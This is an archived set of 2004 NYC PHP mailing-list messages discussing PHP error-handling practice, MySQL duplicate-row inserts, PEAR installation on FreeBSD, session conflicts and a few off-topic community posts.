From: tgales at tgaconnect.com (Tim Gales)
Date: Mon, 10 May 2004 11:02:50 -0400
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <002a01c4369b$340b67d0$e98d3818@oberon1>
Message-ID: <002d01c4369f$ddbae6d0$e98d3818@oberon1>

> ...dealing with felonies, 
> misdemeanors, and ethical infractions and 
> perhaps a method for granting immunity (especially 
> on a 'quid pro quo' basis for more information 
> leading to an indictment of other guilty routines)

This comes from a technique (questioning 
routines for 'what they knew and when they 
knew it') which I have been using informally 
for quite some time now.

I call it the 'Senate Hearing Investigative 
Technique'.

When things break, I sometimes have to 
go through a whole lot of 'S.H.I.T.'
to fix them.


T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com




From dmintz at davidmintz.org  Mon May 10 11:55:20 2004
From: dmintz at davidmintz.org (David Mintz)
Date: Mon, 10 May 2004 11:55:20 -0400 (EDT)
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <002d01c4369f$ddbae6d0$e98d3818@oberon1>
References: <002d01c4369f$ddbae6d0$e98d3818@oberon1>
Message-ID: <Pine.BSF.4.58.0405101139350.23771@emra.pair.com>



No discussion is complete without mentioning PHP's native error and
logging functions (http://us3.php.net/manual/en/ref.errorfunc.php),
especially set_error_handler(), error_reporting(), trigger_error()

No discussion is complete without mentioning PEAR_Error which offers a lot
of flexible and convenient means of error handling
(http://pear.php.net/manual/en/core.pear.pear-error.php)

One of the criticims of languages that don't have real exception handling
(try/catch/finally) is that checking the return value of every call gets
tedious and hard to read. One of the things I like about Pear is that you
can set an error handling callback function, and then go ahead and run a
few lines of e.g. database stuff without bothering line-by-line.

Another point that bears mentioning -- since this is a Fundies thread --
is whether and how much error output to display it the browser in
development versus production, from the security standpoint as well as
style. Development:  verbose and informative. Production: apologetic and
vague.

Perhaps it also bears mentioning by way of Fundies that if you have error
reporting on and warnings on, you can still supress error output on a
per-function-call basis by prepending an @ to the function name.


I would (and could) elaborate on all of the above but I just wanted to get
a shot in before someone else beat me to it (-:

---
David Mintz
http://davidmintz.org/

        "Anybody else got a problem with Webistics?" -- Sopranos 24:17


From rahmin at insite-out.com  Mon May 10 12:06:24 2004
From: rahmin at insite-out.com (Rahmin Pavlovic)
Date: Mon, 10 May 2004 12:06:24 -0400
Subject: [nycphp-talk] input..select help
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From danielc at analysisandsolutions.com  Mon May 10 12:11:27 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Mon, 10 May 2004 12:11:27 -0400
Subject: [nycphp-talk] input..select help
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On Mon, May 10, 2004 at 12:06:24PM -0400, Rahmin Pavlovic wrote:
> 
> Which worked fairly quickly, however it also imported entries from
> table_a that already exist in table_b.

If you need to ensure records are unique, use primary and/or unique 
indexes on the columns in question.  Doing this gets the database to 
automatically reject duplicates for you.

--Dan

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From ashaw at iifwp.org  Mon May 10 12:14:29 2004
From: ashaw at iifwp.org (Allen Shaw)
Date: Mon, 10 May 2004 12:14:29 -0400
Subject: [nycphp-talk] input..select help
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	<20040510161126.GA5273@panix.com>
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> If you need to ensure records are unique, use primary and/or unique
> indexes on the columns in question.  Doing this gets the database to
> automatically reject duplicates for you.

That, plus using IGNORE ("insert IGNORE into table_b(field1,field2) ...")
will have MySQL insert all non-duplicate records without choking on the
dupes.

- Allen

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> On Mon, May 10, 2004 at 12:06:24PM -0400, Rahmin Pavlovic wrote:
> >
> > Which worked fairly quickly, however it also imported entries from
> > table_a that already exist in table_b.
>
> If you need to ensure records are unique, use primary and/or unique
> indexes on the columns in question.  Doing this gets the database to
> automatically reject duplicates for you.
>
> --Dan
>
> -- 
>  T H E   A N A L Y S I S   A N D   S O L U T I O N S   C O M P A N Y
>             data intensive web and database programming
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From: rahmin at insite-out.com (Rahmin Pavlovic)
Date: Mon, 10 May 2004 12:39:52 -0400
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From crisscott at netzero.com  Mon May 10 13:00:47 2004
From: crisscott at netzero.com (Scott Mattocks)
Date: Mon, 10 May 2004 13:00:47 -0400
Subject: [nycphp-talk] input..select help
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Rahmin Pavlovic wrote:

> insert into table_b(field1,field2) select table_a.field1, table_a.field2 from table_a
> 
> Which worked fairly quickly, however it also imported entries from table_a that already exist in table_b.
> So I'm wondering if someone could help me figure out how to just grab the new entries from table_a.

Try something like this:

INSERT INTO table_b (field1, field2)
(SELECT table_a.field1, table_a.field2
  FROM table_a
   LEFT JOIN table_b
    ON (table_a.field1 = table_b.field1
        AND
        table_a.field2 = table_b.field2)
  WHERE table_b.field1 IS NULL
   AND table_b.field2 IS NULL)

I would try the select first to make sure that it will get you 
everything in table_a that isn't already in table_b.  And then if you 
like the results from that add the insert part to the begining.

Scott Mattocks


From jsiegel1 at optonline.net  Mon May 10 13:33:13 2004
From: jsiegel1 at optonline.net (Jeff Siegel)
Date: Mon, 10 May 2004 13:33:13 -0400
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <Pine.BSF.4.58.0405101139350.23771@emra.pair.com>
References: <002d01c4369f$ddbae6d0$e98d3818@oberon1>
	<Pine.BSF.4.58.0405101139350.23771@emra.pair.com>
Message-ID: <409FBCD9.9070300@optonline.net>

Putting PEAR aside for the moment, how should someone use those three 
PHP functions? For example, if someone uses trigger_error(), then what?

Jeff S.

David Mintz wrote:

> 
> No discussion is complete without mentioning PHP's native error and
> logging functions (http://us3.php.net/manual/en/ref.errorfunc.php),
> especially set_error_handler(), error_reporting(), trigger_error()
> 
> No discussion is complete without mentioning PEAR_Error which offers a lot
> of flexible and convenient means of error handling
> (http://pear.php.net/manual/en/core.pear.pear-error.php)
> 
> One of the criticims of languages that don't have real exception handling
> (try/catch/finally) is that checking the return value of every call gets
> tedious and hard to read. One of the things I like about Pear is that you
> can set an error handling callback function, and then go ahead and run a
> few lines of e.g. database stuff without bothering line-by-line.
> 
> Another point that bears mentioning -- since this is a Fundies thread --
> is whether and how much error output to display it the browser in
> development versus production, from the security standpoint as well as
> style. Development:  verbose and informative. Production: apologetic and
> vague.
> 
> Perhaps it also bears mentioning by way of Fundies that if you have error
> reporting on and warnings on, you can still supress error output on a
> per-function-call basis by prepending an @ to the function name.
> 
> 
> I would (and could) elaborate on all of the above but I just wanted to get
> a shot in before someone else beat me to it (-:
> 
> ---
> David Mintz
> http://davidmintz.org/
> 
>         "Anybody else got a problem with Webistics?" -- Sopranos 24:17
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From nyphp at enobrev.com  Mon May 10 13:53:30 2004
From: nyphp at enobrev.com (Mark Armendariz)
Date: Mon, 10 May 2004 13:53:30 -0400
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <Pine.BSF.4.58.0405101139350.23771@emra.pair.com>
Message-ID: <E1BNEy1-0007Hx-NK@server1057.webserver33.com>

Speaking of php's inherent error functions, has anyone ever tried building a
try/catch/throw sytem of sorts using php's current error handling?  I've
personally never run across one.

Mark


> 
> No discussion is complete without mentioning PHP's native 
> error and logging functions 
> (http://us3.php.net/manual/en/ref.errorfunc.php),
> especially set_error_handler(), error_reporting(), trigger_error()
> ---


> David Mintz
> http://davidmintz.org/




From tgales at tgaconnect.com  Mon May 10 14:10:26 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Mon, 10 May 2004 14:10:26 -0400
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <E1BNEy1-0007Hx-NK@server1057.webserver33.com>
Message-ID: <004801c436ba$1298b070$e98d3818@oberon1>

> Speaking of php's inherent error functions, has anyone ever 
> tried building a try/catch/throw sytem of sorts using php's 
> current error handling?  I've personally never run across one.
> 
> Mark

You could have a look at some of the code in cowiki.

 * coWiki - includes/cowiki/class/core/class.RuntimeContext.php
 * $Id: class.RuntimeContext.php,v 1.43 2003/10/12 03:31:13 dtg Exp $


The class.RuntimeContext.php has something that might interest 
you around the function putToCache.

T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com




From adam at trachtenberg.com  Mon May 10 14:26:12 2004
From: adam at trachtenberg.com (Adam Maccabee Trachtenberg)
Date: Mon, 10 May 2004 14:26:12 -0400 (EDT)
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
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References: <E1BNEy1-0007Hx-NK@server1057.webserver33.com>
Message-ID: <Pine.LNX.4.58.0405101425240.16280@miranda.org>

On Mon, 10 May 2004, Mark Armendariz wrote:

> Speaking of php's inherent error functions, has anyone ever tried building a
> try/catch/throw sytem of sorts using php's current error handling?  I've
> personally never run across one.

Why would you do that when PHP 5 supports try/catch/throw? Seems
easier to upgrade to PHP 5. :)

-adam

-- 
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author of o'reilly's php cookbook
avoid the holiday rush, buy your copy today!


From shiflett at php.net  Mon May 10 14:33:02 2004
From: shiflett at php.net (Chris Shiflett)
Date: Mon, 10 May 2004 11:33:02 -0700 (PDT)
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <Pine.LNX.4.58.0405101425240.16280@miranda.org>
Message-ID: <20040510183302.4664.qmail@web14306.mail.yahoo.com>

--- Adam Maccabee Trachtenberg <adam at trachtenberg.com> wrote:
> Why would you do that when PHP 5 supports try/catch/throw? Seems
> easier to upgrade to PHP 5. :)

That's what I was thinking. Now if I only had a book to help me with my
upgrade... :-)

Chris

=====
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From danielc at analysisandsolutions.com  Mon May 10 14:33:20 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Mon, 10 May 2004 14:33:20 -0400
Subject: [nycphp-talk] input..select help
In-Reply-To: <409FB53F.8000009@netzero.com>
References: <200405101606.i4AG6OSX005258@webmail3.megamailservers.com>
	<409FB53F.8000009@netzero.com>
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On Mon, May 10, 2004 at 01:00:47PM -0400, Scott Mattocks wrote:
> 
> INSERT INTO table_b (field1, field2)
> (SELECT table_a.field1, table_a.field2
>  FROM table_a
>   LEFT JOIN table_b
>    ON (table_a.field1 = table_b.field1
>        AND
>        table_a.field2 = table_b.field2)
>  WHERE table_b.field1 IS NULL
>   AND table_b.field2 IS NULL)

While that would stop records already in table_b from being copied from
table_a, it would not stop duplicate records in table_a going into
table_b.  You could throw in a GROUP BY clause to take care of that.

All that aside, adding primary/unique keys is the way to go.

If tables already have duplicates but aren't keyed, like the original
poster said, then you've got to mysqldump the data, drop the old table,
change the table structure in the dumpped SQL data to add the indexes
needed and then rebuild/import the table/data.  Use the -f command line 
option that keeps SQL errors from stopping execution.

--Dan

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From nyphp at enobrev.com  Mon May 10 14:53:02 2004
From: nyphp at enobrev.com (Mark Armendariz)
Date: Mon, 10 May 2004 14:53:02 -0400
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <Pine.LNX.4.58.0405101425240.16280@miranda.org>
Message-ID: <E1BNFte-0003FL-RD@server1057.webserver33.com>

> Why would you do that when PHP 5 supports try/catch/throw? 
> Seems easier to upgrade to PHP 5. :)

Well that will definitely help *here, but I figure if I want to start moving
in that general direction, I'll want to overall, including on client servers
which will probably run 4.3 for at least few more months.

> The class.RuntimeContext.php has something that might 
> interest you around the function putToCache.

Very interesting, I'll definitely take a look.

Thanks!

Mark




From adam at trachtenberg.com  Mon May 10 15:05:29 2004
From: adam at trachtenberg.com (Adam Maccabee Trachtenberg)
Date: Mon, 10 May 2004 15:05:29 -0400 (EDT)
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <E1BNFte-0003FL-RD@server1057.webserver33.com>
References: <E1BNFte-0003FL-RD@server1057.webserver33.com>
Message-ID: <Pine.LNX.4.58.0405101502030.16280@miranda.org>

On Mon, 10 May 2004, Mark Armendariz wrote:

> > Why would you do that when PHP 5 supports try/catch/throw?
> > Seems easier to upgrade to PHP 5. :)
>
> Well that will definitely help *here, but I figure if I want to start moving
> in that general direction, I'll want to overall, including on client servers
> which will probably run 4.3 for at least few more months.

You can probably replicate some functionality of exceptions in PHP
4.3, but it'll very coarse grained. For instance, if all you want to
do is bail out to an error handling section, then you can do that.

However, I doubt you can replicate more subtle features, like
exception bubbling.

-adam

-- 
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author of o'reilly's php cookbook
avoid the holiday rush, buy your copy today!


From adam at trachtenberg.com  Mon May 10 15:07:06 2004
From: adam at trachtenberg.com (Adam Maccabee Trachtenberg)
Date: Mon, 10 May 2004 15:07:06 -0400 (EDT)
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <20040510183302.4664.qmail@web14306.mail.yahoo.com>
References: <20040510183302.4664.qmail@web14306.mail.yahoo.com>
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On Mon, 10 May 2004, Chris Shiflett wrote:

> --- Adam Maccabee Trachtenberg <adam at trachtenberg.com> wrote:
> > Why would you do that when PHP 5 supports try/catch/throw? Seems
> > easier to upgrade to PHP 5. :)
>
> That's what I was thinking. Now if I only had a book to help me with my
> upgrade... :-)

Oddly enough, this is the last chapter standing between me and book
writing freedom. We're involved in a stare down over how to best order
the material. :)

-adam

-- 
adam at trachtenberg.com
author of o'reilly's php cookbook
avoid the holiday rush, buy your copy today!


From lists at natserv.com  Mon May 10 18:57:55 2004
From: lists at natserv.com (Francisco Reyes)
Date: Mon, 10 May 2004 18:57:55 -0400 (EDT)
Subject: [nycphp-talk] Installing PEAR in FreeBSD
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On Fri, 7 May 2004, Hans Zaunere wrote:

> > Anyone has gotten PEAR installed in FreeBSD through the port system?
> > I am getting an error saying that PHP is already installed. I

> I've always done this by compiling from source, but maybe:

Have been considering that option.


> make reinstall

Will try.


> would help?  Maybe even a:
> make deinstall

The pear port is never installed so that won't work.

It is also a problem in FreeBSD to install from Ports the mod_php and php
CLI ports at the same time. I think this is why Pear may be failing.

I am rebuilding my play box after a HD crash and I will experiment more
thene. Amongst the options I am considering so far is to install the CLI
on the play/test box and then make a tar of the files an copy them over to
the production box. Then manually change php.ini and anything else...

Although most likely my first option will be trying to install Pear by
manually and see if that is not too much work.

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> The granddaddy class would be rather=20
> abstract. It would have member variables=20
> correlating to the five W's.
>=20
> The 'abstract' class would be extended to=20
> take care of more specific situations.
>=20
> But in general all the descendant classes would have=20
> inherited methods for dealing with felonies,=20
> misdemeanors, and ethical infractions and=20
> perhaps a method for granting immunity (especially=20
> on a 'quid pro quo' basis for more information=20
> leading to an indictment of other guilty routines)
> The methods would be just overloaded -- whoops,=20
> pardon me, I mean extended to deal with the specifics=20
> of each of the more specialized classes=20
> (and their environments).

I think it's much simpler; usually, over-abstraction is a bad thing.
The original PHundamentals seed was this:

"Something can always go wrong in an application so it is essential that

your application have an error handler. What types of errors can be=20
safely ignored, and which ones should be trapped by an error handler?=20
What is the best way to handle those errors?"

I think the always important distinction of development vs production is
again vital when talking about error handling.

The first rule of error handling, in my view is to be alerted of ALL
errors, notices, warnings, etc.  As such, in php.ini I always have:

error_reporting  =3D  E_ALL

or if I can't modify my php.ini:

error_reporting(E_ALL);

is set in the top level include of my application.  I do this for both
dev and production environments (it's often more important in dev).  I
also ensure display_errors is off and log_errors is on.  This is all
automatically set correctly if you use php.ini-recommended

By default, with log_errors set to on, errors go to the Apache error
logs.  So:

tail -f /var/log/www/mydomain.com/error_log

(or whatever the path obviously)

will show all signs of errors, as they happen, without splashing errors
to the browser.  Even in development, errors dumped to the browser are
bad because they can become hidden in the HTML.

So, the big question; what is safe to ignore?  Basically, nothing.  I
always code so that I never have any warnings about uninitialized
variables, which is a common error (actually, notice) to ignore.  I
admit, there are times - like when repopulating form values on small
sites - when I will suppress an uninitialized variable using a @ if I'm
sure a NULL or 0 value will be handled correctly.  It's good practice to
not throw any "sloppy" errors in your application, and under any states
of the page; this is "PHundamentally" good programming.

So what about "non-sloppy" errors; or those errors caused by an
exceptional or unexpected condition?  For one, there are two sides to
this; what the user (browser) sees, and what the maintainer (developer)
sees.  Always - *always* - show a generic error to the user.  If the
database is offline, don't say "Our database is currently offline" but
rather "System under maintenance".  If the system is about to crash and
PHP's core has become horribly corrupted:  "System under maintenance"

This does two things.  One, it makes it harder for crackers to fiddle
with your application - they never really know what they're doing or
what affect it has.  Two, it makes error handling much simpler and
eliminates complex class abstractions and hierarchies.

In most cases, these bits of code is what I use:

set_error_handler('myhandler');

if( $majorproblem ) {
   trigger_error('This is a major problem',E_USER_ERROR);
}

Then, the myhandler() function could look like:

function myhandler( $message,$code ) {
   mail('siteadmin at domain.com','MAJOR PROBLEM
at'.time(),trigger_dump($GLOBALS));
   error_log('MAJOR PROBLEM at '.time().trigger_dump($GLOBALS));
   go2('/error.php');
   exit;
}


I know that code won't really work and is horribly sloppy; if anyone
wants real code, let me know.  go2() is part of the this_server PCOM
(http://pcomd.net/this_server) to handler redirections and
trigger_dump() is the PCOM at http://pcomd.net/trigger_dump as a wrapper
for dumping variables.

While many are probably shocked by the no-frills approach to this error
handling scheme, it's all I've never needed.  It's very "un-enterprise"
I know.  Look at it this way, when something goes wrong:

-- you need to know the state of the application; trigger_dump($GLOBALS)
-- you need to know when it happened; time()
-- you need to know that it happened; mail()
-- you need to have a record of the above three items; error_log()
-- you need to prevent the user from knowing any of this, except that it
happened; go2()

I'm also curious as to other's approach.  Granted, in PHP 5 we'll have
exceptions - which are a great thing - but doesn't really change that
much.  Exceptions are for *detecting* errors, no handling after the
fact.  I'm curious as to other's thoughts.

H




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> I just found an answer to my own question. I used=20
> session_name() to rename the session.
>=20
> The funny thing is that on Windows (my local test machine)=20
> having two scripts accessing a session with the same name did=20
> not cause a problem, whereas on the Linux production server it did.
>=20
> On both session autostart is turned off ...
>=20
> I am not sure why Win and Lin reacted differently here.

Bam... another good topic for an article?  This would be quite a tricky
article, though, since the difference can be very subtle and complex.

Good it's resolved Jayesh,

H



From danielc at analysisandsolutions.com  Tue May 11 01:01:32 2004
From: danielc at analysisandsolutions.com (Daniel Convissor)
Date: Tue, 11 May 2004 01:01:32 -0400
Subject: [nycphp-talk] #248 of security focus
Message-ID: <20040511050132.GA13165@panix.com>

Hi:

Have you ever noticed that when someone is sloppy in one place, they're
probably sloppy in loads of others?  Well, this seems to hold true when it
comes to the people responsible for buggy code.  When reading the SF
newsletter I need to determine if the reported package uses PHP.  Many of
the websites of the software in question don't say right up front which
language the application is written in or even what their pacakge does.
Oy.

SquirrelMail Folder Name Cross-Site Scripting Vulnerability
http://www.securityfocus.com/bid/10246

Moodle Cross Site Scripting Vulnerability
http://www.securityfocus.com/bid/10251

Coppermine Photo Gallery Multiple Input Validation Vulnerabi...
http://www.securityfocus.com/bid/10253

PROPS SQL Injection and Cross-Site Scripting Vulnerabilities
http://www.securityfocus.com/bid/10258

JelSoft VBulletin Forum Creation HTML Injection Vulnerabilit...
http://www.securityfocus.com/bid/10280

Simple Machines Forum Size Tag HTML Injection Vulnerability
http://www.securityfocus.com/bid/10281

PHPNuke Modules.php Multiple SQL Injection Vulnerabilities
http://www.securityfocus.com/bid/10282

PHPX Multiple Cross-Site Scripting Vulnerabilities
http://www.securityfocus.com/bid/10283

PHPX Multiple Administrator Command Execution Vulnerability
http://www.securityfocus.com/bid/10284

e107 Website System Multiple Script HTML Injection Vulnerabi...
http://www.securityfocus.com/bid/10293

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From jayeshsh at ceruleansky.com  Tue May 11 22:38:23 2004
From: jayeshsh at ceruleansky.com (Jayesh Sheth)
Date: Tue, 11 May 2004 22:38:23 -0400
Subject: [nycphp-talk] re: Wiki anti-spam CAPTCHA patch: $_SESSION conflict
Message-ID: <40A18E1F.8050300@ceruleansky.com>

Hi Hans,

thanks for the followup on my previous session-conflict thread.

I think what was happening was that on Windows my session files could be 
renamed / overwritten, but on a (shared) Linux server that did not work. 
I might be wrong about this though ...

Also, a good topic for a Phundamentals article might be incorporating 
anti-spam measures (such as Captcha code generators) into web 
applications / scripts (e.g. Wikis, blog comment forms, email-this-page 
forms, etc).

Best Regards,

- Jay



From jayeshsh at ceruleansky.com  Tue May 11 23:12:07 2004
From: jayeshsh at ceruleansky.com (Jayesh Sheth)
Date: Tue, 11 May 2004 23:12:07 -0400
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
Message-ID: <40A19607.2060203@ceruleansky.com>

Hi all,

Here is what I did recently for error handling within a (PHP 4) class. 
(This was for a redesign of a class that was originally written out of 
the need to collect 10 - 20 separate functions, all having resided in 
different files.)

By the name, the naming scheme I use for class names and methods 
(functions) is unconventional - all lower case.

This class's functionality has been fictionalized for your (and my) 
enjoyment.

I am not sure if the way I do it is good or bad, but you can definitely 
let me know what you think.

class appreciate_life

{
var $bitterness; // on a scale of 0 to 10
var $sweetness; // on a scale of 0 to 10
var $satisfaction; // how satisfied you are

var $harddrivehealth; // on a scale of 0 to 10
var $freshairintake;  // on a scale of 0 to 10

var $oopsies = array(); // errors
var $oopsies4devs = array(); // debug messages

// constructor
function  appreciate_life($bitterness, $sweetness, $harddrivehealth, 
$freshairintake)
{
$this->bitterness = $bitterness;
$this->sweetness = $sweetness;
$this->harddrivehealth = $harddrivehealth;
$this->freshairintake = $freshairintake;
}

function measure_life_satisfaction()
{
	if ($harddrivehealth < 0 || $freshairintake < 0)
	{
		$this->oopsies['warning_get_out_more'] = "Your hard 		drive just went 
kaput or you have been staring at that computer screen too long. Forget 
the computer and go to the Japanese pond at the Brooklyn Botanic Garden.";
		$this->oopsies4devs['take_user_on_walk'] = "This user needs to be 
taken on a walk.";
	}	

	else if ( $this->sweetness > $this->bitterness )
	{
		return "<p>Bravo! You are one happy (wo)man! </p>";
	}

	else
	{
                 return "<p>Life sure sucks, huh? If life is a lemon, 
maybe you can make some lemonade from it ... </p>";
	}
}

function is_okay()
{
	if ( count($this->oopsies) > 0 || count($this->oopsies4devs) > 0)
	{
		return false;
	}
	else
	{
		return true;
	}
}

function print_error_messages()
{
	/* retrieve contents of $this->oopsies array and format them for display */
}

function print_debug_messages()
{
/* retrieve contents of $this->oopsies4devs array and format them for 
display */
}

}

/*
Instantiation
*/
$debug = 0;

$life = new appreciate_life(5, 6, -1, -10);

$sat_level = $life->measure_life_satisfaction();
echo $sat_level;

if ( ! $life->is_okay() )
{
	if ( ! empty($debug) )
	{
		$life->print_debug_messages();
	}

	$life->print_error_messages();
}

/*
End
*/

I don't know if that made much sense at all - but I am way past my 
bedtime, so that is why I am a bit  ... delirious.

- Jay



From jayeshsh at ceruleansky.com  Tue May 11 23:20:18 2004
From: jayeshsh at ceruleansky.com (Jayesh Sheth)
Date: Tue, 11 May 2004 23:20:18 -0400
Subject: [nycphp-talk] reporting hosting fraud (off-topic)
Message-ID: <40A197F2.3040702@ceruleansky.com>

Hello all,

This is a bit of an off-topic question, but I did not know where else to 
ask.

To make a long story short, it seems that an individual or group of 
individuals is responsible for setting up a series of hosting companies 
under fake names and then prompting over charging customers before going 
under.

I have been in contact with at least one defrauded customer who has lost 
data and money, and heard from many more at webhostingtalk.com.

I have written about the matter on my weblog:

http://www.moztips.com/index.php?id=229

To which authority (FBI, BBB) should I report this case of suspected 
fraud? Should I also report it also to the press?

Thanks in advance.

- Jay



From tgales at tgaconnect.com  Wed May 12 07:54:05 2004
From: tgales at tgaconnect.com (Tim Gales)
Date: Wed, 12 May 2004 07:54:05 -0400
Subject: [nycphp-talk] Processing  XML Documents with PHP 5
Message-ID: <002801c43817$d422a4e0$e98d3818@oberon1>

Processing Large XML Documents with PHP 5 - Update 
Christian Stocker, May 10, 2004

at: http://blog.bitflux.ch/p1697.html

May be of interest to readers of this list.


T. Gales & Associates
'Helping People Connect with Technology'

http://www.tgaconnect.com



From jeffknight at mac.com  Wed May 12 09:49:53 2004
From: jeffknight at mac.com (putamare)
Date: Wed, 12 May 2004 09:49:53 -0400
Subject: [nycphp-talk] Development Meeting: Important Change
Message-ID: <3ED6E98C-A41B-11D8-9EDE-003065F9A07A@mac.com>

An important piece of information is missing from the NYPHP.org 
homepage's invitation to tonight's development meeting. While all are 
welcome to the meeting, no one will be granted entrance into the 
building the meeting is being held unless their name is on a list. If 
you plan on attending, make sure you RSVP with your full name to 
jeff.knight at nyphp.org before 4PM today, or you will be turned away at 
the door.



From phillip.powell at adnet-sys.com  Wed May 12 09:58:32 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Wed, 12 May 2004 09:58:32 -0400
Subject: [nycphp-talk] Worst freelance offer of all time!
In-Reply-To: <409F8196.80905@adnet-sys.com>
References: <41EE526EC2D3C74286415780D3BA9F8701E43D2D@ehost011-1.exch011.intermedia.net>
	<409F8196.80905@adnet-sys.com>
Message-ID: <40A22D88.8030007@adnet-sys.com>

Just for laughs I had to include the details of the 15-day $20 project:

Dear Bidders,

1. The new website needs to be coded preferably in asp. All pages need
to be linked to one another.

2. I need an internet radio for the website so that when a member
chooses a genre of music, media player will automatically open and start
to play that specific genre of music, but only the music of our members
that will be played by random. We will have further discussion on this.

3. A rating system where members will be able to rate other members.

4. Another rating system where members will be able to vote for their
favorite members and whomever gets the most votes in their genre will be
placed on our top 10 list.

5. There will be a calender for each member that they will have access
to and will be able to add and delete messeges on their calender.

6. There will be a mail system on our website that will only be
internal.

7. Information on how our members will be able to have their own address
from our website, meaning if a members username was 'meme', that member
could give the following address to someone so they may visit her on our
site:

[withheld so I wouldn't get sued]

8. There will also be a statistics page for every member, the statistics
page is for them to see how many people will view them often.

I think I have mentioned everything. If you haven't bid, I suggest you
bid now so that I may make my decision.

Thank you.

-- 
---------------------------------------------------------------------------------
Phil Powell
Multimedia Programmer
ADNET Systems., Inc.
11260 Roger Bacon Drive Suite 403
Reston, VA  20191
#: (703) 709-7218 x107 
Fax: (703) 709-7219

	



From chendry at nyc.rr.com  Wed May 12 10:37:24 2004
From: chendry at nyc.rr.com (Christopher Hendry)
Date: Wed, 12 May 2004 10:37:24 -0400
Subject: [nycphp-talk] Development Meeting: Important Change
In-Reply-To: <3ED6E98C-A41B-11D8-9EDE-003065F9A07A@mac.com>
Message-ID: <200405121437.i4CEbPBO021893@ms-smtp-02.rdc-nyc.rr.com>

Crap.  I guess I'm coming, but maybe not. 

-> -----Original Message-----
-> From: talk-bounces at lists.nyphp.org 
-> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of putamare
-> Sent: Wednesday, May 12, 2004 9:50 AM
-> To: NYPHP Talk
-> Subject: [nycphp-talk] Development Meeting: Important Change
-> 
-> An important piece of information is missing from the 
-> NYPHP.org homepage's invitation to tonight's development 
-> meeting. While all are welcome to the meeting, no one will 
-> be granted entrance into the building the meeting is being 
-> held unless their name is on a list. If you plan on 
-> attending, make sure you RSVP with your full name to 
-> jeff.knight at nyphp.org before 4PM today, or you will be 
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From chendry at nyc.rr.com  Wed May 12 10:39:36 2004
From: chendry at nyc.rr.com (Christopher Hendry)
Date: Wed, 12 May 2004 10:39:36 -0400
Subject: [nycphp-talk] Development Meeting: Important Change
In-Reply-To: <200405121437.i4CEbPBO021893@ms-smtp-02.rdc-nyc.rr.com>
Message-ID: <200405121439.i4CEdb22018527@ms-smtp-03.rdc-nyc.rr.com>

Sorry all, this was not supposed to go to Talk.

Doh!

-> -----Original Message-----
-> From: talk-bounces at lists.nyphp.org 
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-> Sent: Wednesday, May 12, 2004 10:37 AM
-> To: 'NYPHP Talk'
-> Subject: RE: [nycphp-talk] Development Meeting: Important Change
-> 
-> Crap.  I guess I'm coming, but maybe not. 
-> 
-> -> -----Original Message-----
-> -> From: talk-bounces at lists.nyphp.org
-> -> [mailto:talk-bounces at lists.nyphp.org] On Behalf Of putamare
-> -> Sent: Wednesday, May 12, 2004 9:50 AM
-> -> To: NYPHP Talk
-> -> Subject: [nycphp-talk] Development Meeting: Important Change
-> -> 
-> -> An important piece of information is missing from the NYPHP.org 
-> -> homepage's invitation to tonight's development meeting. 
-> While all are 
-> -> welcome to the meeting, no one will be granted entrance into the 
-> -> building the meeting is being held unless their name is 
-> on a list. If 
-> -> you plan on attending, make sure you RSVP with your full name to 
-> -> jeff.knight at nyphp.org before 4PM today, or you will be 
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-> -> 
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From dmintz at davidmintz.org  Wed May 12 11:44:59 2004
From: dmintz at davidmintz.org (David Mintz)
Date: Wed, 12 May 2004 11:44:59 -0400 (EDT)
Subject: [nycphp-talk] NEW PHundamentals Question - Error Handling
In-Reply-To: <40A19607.2060203@ceruleansky.com>
References: <40A19607.2060203@ceruleansky.com>
Message-ID: <Pine.BSF.4.58.0405121140180.99299@emra.pair.com>

On Tue, 11 May 2004, Jayesh Sheth wrote:

> Here is what I did recently for error handling within a (PHP 4) class.
> (This was for a redesign of a class that was originally written out of
> the need to collect 10 - 20 separate functions, all having resided in
> different files.)
>
> [snip]

it looks as though your example is more concerned with evaluating user
input than error handling per se. In other words for purposes of this
discussion we need to distinguish between user input validation/evaluation
on one hand, and server-side error conditions on the other

$.02.

---
David Mintz
http://davidmintz.org/

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> http://www.moztips.com/index.php?id=3D229
>=20
> To which authority (FBI, BBB) should I report this case of suspected=20
> fraud? Should I also report it also to the press?

I'd say probably FBI, but don't arrest me if I'm wrong! :)

H



From phillip.powell at adnet-sys.com  Wed May 12 14:35:12 2004
From: phillip.powell at adnet-sys.com (Phillip Powell)
Date: Wed, 12 May 2004 14:35:12 -0400
Subject: [nycphp-talk] How do I use readfile() and redirect at the same time?
Message-ID: <40A26E60.5090206@adnet-sys.com>

[PHP]
class DownloadGenerator {
 
  var $fullFilePath;

  function DownloadGenerator($fullFilePath) {
   $this->fullFilePath = $fullFilePath;
  }

  function &generateForceDownloadHeaders($fullFilePath = '') {        
    // STATIC VOID METHOD
        $file = ($this->fullFilePath) ? $this->fullFilePath : $fullFilePath;
        if (if_file($file)) {
         $filesize = @filesize($file);
              header("Content-Disposition: attachment; filename=$file");
              header('Content-Type: application/octet-stream');
             header('Content-Type: application/force-download');
             header('Content-Type: application/download');
             header('Content-Transfer-Encoding: binary');
             header('Pragma: no-cache');
             header('Expires: 0');
             @set_time_limit(600);
             readfile($file);
        }
    }

}
[/PHP]

I am trying to "have my cake and eat it too", so to speak.  I want to do 
a forced download of a file using readfile() and manipulating the 
headers; but at the exact same time I need to redirect to another page, 
the page that says "hey everything is cool" success message and display 
the rest of the application.

